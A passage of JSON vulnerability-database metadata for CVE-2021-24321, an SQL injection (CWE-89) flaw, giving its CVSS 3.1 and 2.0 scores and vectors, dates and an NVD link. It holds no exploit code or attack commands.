"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-01T14:15:00", "type": "cve", "title": "CVE-2021-24321", "cwe": ["CWE-89"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24321"], "modified": "2021-08-12T21:23:00", "cpe": [], "id": "CVE-2021-24321", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24321", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}]}